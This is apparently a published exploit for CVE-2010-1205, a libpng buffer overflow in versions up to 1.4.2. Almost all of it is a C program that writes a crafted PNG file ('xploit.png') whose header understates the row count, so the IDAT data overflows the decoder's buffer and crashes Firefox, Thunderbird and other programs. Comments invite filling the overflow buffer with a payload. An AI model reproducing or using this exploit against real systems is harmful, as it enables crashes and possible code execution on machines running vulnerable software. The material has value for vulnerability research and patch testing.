1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 |
/* Exploit Title: libpng <= 1.4.2 DoS Date:July 20, 2010 Author:kripthor Software Link: http://www.libpng.org/pub/png/libpng.html Version: all products that use libpng <= 1.4.2 Tested on: Windows XP Pro SP3 Eng / Ubuntu 10 CVE : CVE-2010-1205 Notes: This crashes Firefox <= 3.6.6 and Thunderbird <= 3.0.4 inkscape, png2html, etc... ALL products that use libpng <= 1.4.2 maybe vulnerable. References: libpng.org RFC-2083 RFC 1950 RFC 1951 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <arpa/inet.h> #include <assert.h> #include <unistd.h> #define BASE 65521L /* largest prime smaller than 65536 */ /* Update a running Adler-32 checksum with the bytes buf[0..len-1] and return the updated checksum. The Adler-32 checksum should be initialized to 1. Usage example: unsigned long adler = 1L; while (read_buffer(buffer, length) != EOF) { adler = update_adler32(adler, buffer, length); } if (adler != original_adler) error(); */ unsigned long update_adler32(unsigned long adler, unsigned char *buf, int len) { unsigned long s1 = adler & 0xffff; unsigned long s2 = (adler >> 16) & 0xffff; int n; for (n = 0; n < len; n++) { s1 = (s1 + buf[n]) % BASE; s2 = (s2 + s1) % BASE; } return (s2 << 16) + s1; } /* Return the adler32 of the bytes buf[0..len-1] */ unsigned long adler32(unsigned char *buf, int len) { return update_adler32(1L, buf, len); } /* CRC based on implementation by Finn Yannick Jacobs */ /* crc_tab[] -- this crcTable is being build by chksum_crc32GenTab(). * so make sure, you call it before using the other * functions! */ u_int32_t crc_tab[256]; /* chksum_crc() -- to a given block, this one calculates the * crc32-checksum until the length is * reached. the crc32-checksum will be * the result. */ unsigned int chksum_crc32 (char *block, unsigned int length) { register unsigned long crc; unsigned long i; crc = 0xFFFFFFFF; for (i = 0; i < length; i++) { crc = ((crc >> 8) & 0x00FFFFFF) ^ crc_tab[(crc ^ *block++) & 0xFF]; } return (crc ^ 0xFFFFFFFF); } /* chksum_crc32gentab() --to a global crc_tab[256], this one will * calculate the crcTable for crc32-checksums. * it is generated to the polynom [..] */ void chksum_crc32gentab () { unsigned long crc, poly; int i, j; poly = 0xEDB88320L; for (i = 0; i < 256; i++) { crc = i; for (j = 8; j > 0; j--) { if (crc & 1) { crc = (crc >> 1) ^ poly; } else { crc >>= 1; } } crc_tab[i] = crc; } } int main(void) { chksum_crc32gentab(); // VALID PNG FILE BEGINS //PNG FILE SIGNATURE char PNG_SIGN[] = "\x89\x50\x4e\x47\x0d\x0a\x1a\x0a"; // IHDR CHUNCK size char PNG_IHDR_SIZE[] = "\x00\x00\x00\x0d"; // IHDR CHUNCK IHDR string id char PNG_IHDR[] = "IHDR"; // IMAGE WIDTH 4 bytes char PNG_IHDR_WIDTH[] = "\x00\x00\x00\x10"; // IMAGE HEIGTH 4 bytes char PNG_IHDR_HEIGHT[] = "\x00\x00\x00\x02"; // IMAGE ATTRS 5 bytes: bit depth, color type, compression, filter and interlace method char PNG_IHDR_ATTRS[] = "\x08\x06\x00\x00\x00"; // CRC32 excluding size! //char PNG_IHDR_CRC32[] = "\x51\xed\x5c\xf1"; // OTHER FIELDS sRGB, pHYs, tIME char PNG_OTHER_FIELDS[] ="\x00\x00\x00\x01\x73\x52\x47\x42\x00\xae\xce\x1c\xe9\x00\x00\x00\x09\x70\x48\x59\x73\x00\x00\x0b\x13\x00\x00\x0b\x13\x01\x00\x9a\x9c\x18\x00\x00\x00\x07\x74\x49\x4d\x45\x07\xda\x07\x0c\x14\x1c\x38\x52\xdd\x18\x2e"; // IDAT CHUNCK SIZE char PNG_IDAT_SIZE[] = "\x00\x00\x00\x8d"; // IDAT CHUNCK IDAT string id char PNG_IDAT[] = "IDAT"; // data in zlib format! char PNG_IDAT_DATA_ZLIB_HEADER[] = "\x08\x1d\x01\x82\x00\x7d\xff"; // zlib content, size in RGBa with no compression = height*width*4; //char PNG_IDAT_DATA_ZLIB_CONTENT[] = "\x01\xff\x00\x00\xff\x01\xff\x30\x00\x00\x01\xcf\x00\x2b\x2a\x2b\x00\x11\x12\x11\x00\x10\x10\x11\x00\x11\x11\x11\x00\x11\x11\x11\x00\x11\x11\x12\x00\x11\x11\x10\x00\x11\x11\x10\x00\x11\x11\x12\x00\x10\x11\x11\x00\x11\x11\x11\x00\x12\x11\x10\x00\x10\x10\x11\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x00\xff\xff\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x01\x00\xff\x00\x00\x00\x01\x00\xff\x00\x01\x00\x00\x00\xff\xff\x01\x00\x01\x01\x00\x00"; // adler32 of zlib_content //char PNG_IDAT_DATA_ZLIB_ADLER32[] = "\xb1\xa6\x0d\xe5"; // CRC32 excluding size! //char PNG_IDAT_CRC32[] = "\x88\x3b\xb3\xfe"; // IEND CHUNCK char PNG_IEND_CHUNCK[] = "\x00\x00\x00\x00\x49\x45\x4e\x44\xae\x42\x60\x82"; // VALID PNG FILE ENDS //----------------------------------------------------------------------------------- //--------------------------------- // TRIGGER OVERFLOW. // WE ARE GOING TO CREATE A PNG WITH 2 ROWS AND MARK IT AS HAVING 1 ROW // OUR BUFFER CAN BE width*height*4+height in size // CHOOSE A WIDTH (crashes occur around 512 width) int WIDTH = 700; unsigned int w = htonl(WIDTH); memcpy(PNG_IHDR_WIDTH,&w,4); int HEIGHT = 2; // TRIGGER OVERFLOW REPORT HEIGHT-1 IN THE HEADER unsigned int h = htonl(HEIGHT-1); memcpy(PNG_IHDR_HEIGHT,&h,4); // USE THIS BUFFER FOR YOUR PWNSAUCE ? int idat_zlib_data_size = WIDTH*HEIGHT*4+HEIGHT; unsigned char *buf = malloc(idat_zlib_data_size); memset(buf,0x41,idat_zlib_data_size); // USE THIS BUFFER FOR YOUR PWNSAUCE ? // FIX ZLIB HEADERS IN THE IDAT BLOCK short int zblock_size = (short int) idat_zlib_data_size; short int zblock_size_2c = -zblock_size-1; memcpy(PNG_IDAT_DATA_ZLIB_HEADER+3,&zblock_size,2); memcpy(PNG_IDAT_DATA_ZLIB_HEADER+5,&zblock_size_2c,2); unsigned int idat_new_size = htonl(idat_zlib_data_size+11); memcpy(PNG_IDAT_SIZE,&idat_new_size,4); //--------------------------------- //----------------------------------------------------------------------------------- FILE * f; f = fopen ( "xploit.png" , "wb" ); fwrite (PNG_SIGN , 1 , sizeof(PNG_SIGN)-1 , f ); fwrite (PNG_IHDR_SIZE , 1 , sizeof(PNG_IHDR_SIZE)-1 , f ); fwrite (PNG_IHDR , 1 , sizeof(PNG_IHDR)-1 , f ); fwrite (PNG_IHDR_WIDTH , 1 , sizeof(PNG_IHDR_WIDTH)-1 , f ); fwrite (PNG_IHDR_HEIGHT , 1 , sizeof(PNG_IHDR_HEIGHT)-1 , f ); fwrite (PNG_IHDR_ATTRS , 1 , sizeof(PNG_IHDR_ATTRS)-1 , f ); //fwrite (PNG_IHDR_CRC32 , 1 , sizeof(PNG_IHDR_CRC32)-1 , f ); //CALCULATE NEW CRC int ihdr_data_size = sizeof(PNG_IHDR)-1+sizeof(PNG_IHDR_WIDTH)-1+sizeof(PNG_IHDR_HEIGHT)-1+sizeof(PNG_IHDR_ATTRS)-1; char* ihdr_data = malloc(ihdr_data_size); memcpy(ihdr_data,PNG_IHDR,sizeof(PNG_IHDR)-1); memcpy(ihdr_data+sizeof(PNG_IHDR)-1,PNG_IHDR_WIDTH,sizeof(PNG_IHDR_WIDTH)-1); memcpy(ihdr_data+sizeof(PNG_IHDR)-1+sizeof(PNG_IHDR_WIDTH)-1,PNG_IHDR_HEIGHT,sizeof(PNG_IHDR_HEIGHT)-1); memcpy(ihdr_data+sizeof(PNG_IHDR)-1+sizeof(PNG_IHDR_WIDTH)-1+sizeof(PNG_IHDR_HEIGHT)-1,PNG_IHDR_ATTRS,sizeof(PNG_IHDR_ATTRS)-1); unsigned int crc32_ihdr = htonl(chksum_crc32(ihdr_data,ihdr_data_size)); fwrite ( &crc32_ihdr, 1 , 4 , f ); fwrite (PNG_OTHER_FIELDS , 1 , sizeof(PNG_OTHER_FIELDS)-1 , f ); fwrite (PNG_IDAT_SIZE , 1 , sizeof(PNG_IDAT_SIZE)-1 , f ); fwrite (PNG_IDAT , 1 , sizeof(PNG_IDAT)-1 , f ); fwrite (PNG_IDAT_DATA_ZLIB_HEADER , 1 , sizeof(PNG_IDAT_DATA_ZLIB_HEADER)-1 , f ); fwrite (buf , 1 ,idat_zlib_data_size,f); //CALCULATE NEW ADLER-32 FOR ZLIB DATA unsigned int adler32_zlib_data = htonl(adler32(buf,idat_zlib_data_size)); fwrite ( &adler32_zlib_data, 1 , 4 , f ); //CALCULATE NEW CRC int idat_data_size = sizeof(PNG_IDAT)-1+sizeof(PNG_IDAT_DATA_ZLIB_HEADER)-1+idat_zlib_data_size+4; char* idat_data = malloc(idat_data_size); memcpy(idat_data,PNG_IDAT,sizeof(PNG_IDAT)-1); memcpy(idat_data+sizeof(PNG_IDAT)-1,PNG_IDAT_DATA_ZLIB_HEADER,sizeof(PNG_IDAT_DATA_ZLIB_HEADER)-1); memcpy(idat_data+sizeof(PNG_IDAT)-1+sizeof(PNG_IDAT_DATA_ZLIB_HEADER)-1,buf,idat_zlib_data_size); memcpy(idat_data+sizeof(PNG_IDAT)-1+sizeof(PNG_IDAT_DATA_ZLIB_HEADER)-1+idat_zlib_data_size,&adler32_zlib_data,4); unsigned int crc32_idat = htonl(chksum_crc32(idat_data,idat_data_size)); fwrite ( &crc32_idat, 1 , 4 , f ); fwrite (PNG_IEND_CHUNCK , 1 , sizeof(PNG_IEND_CHUNCK)-1 , f ); fclose (f); //OPEN XPLOIT.PNG WITH YOUR FAVORITE BROWSER/IMAGE EDIT APP/ETC return 0; } |